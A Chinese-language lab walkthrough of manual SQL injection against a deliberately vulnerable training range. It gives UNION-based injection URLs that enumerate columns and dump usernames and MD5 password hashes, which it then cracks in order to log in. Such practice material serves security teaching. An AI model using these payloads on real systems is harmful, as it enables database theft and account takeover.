背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
靶场地址
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MySQL的数据结构;
4.了解字符串的MD5加解密;
解题方向
手工进行SQL注入测试,获取管理密码登录。
步骤
1.判断是否能注入
id=1 and 1=1 limit 0,1
报错,说明有注入可能
2.判断属性列数
id=1 order by 4
order by x(数字)1,2,3,4 网页都正确说明列数为4
3.报错猜解准备
http://219.153.49.228:43230/new_list.php?id=-1%20union%20%20select%201,2,3,4
发现2,3显示到页面上了。
4.信息收集
获得数据库:
更改limit 0,1为limit1,1继续搜索发现没有信息了
所有只含有一个数据库mozhe_Discuz_StormGroup
手动注入获得表
http://219.153.49.228:45026/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27
获取列名
5.获取数据
http://219.153.49.228:45026/new_list.php?id=-1%20union%20select%201,name,password,4%20%20from%20StormGroup_member
获得用户名和密码输入到登录框,发现还是错的
说明密码是进行加密过的
解密得到dsan13输入到登录框
弹出提示说明有可能被禁用了,或者还有其他用户
那么我们通过limit 1,1去获得第二行的数据
http://219.153.49.228:45026/new_list.php?id=-1%20union%20select%201,name,password,4%20%20from%20StormGroup_member%20limit%201,1
得到第二行数据进行md5解密得到207683
然后用mozhe和207683进行登录
最后登录。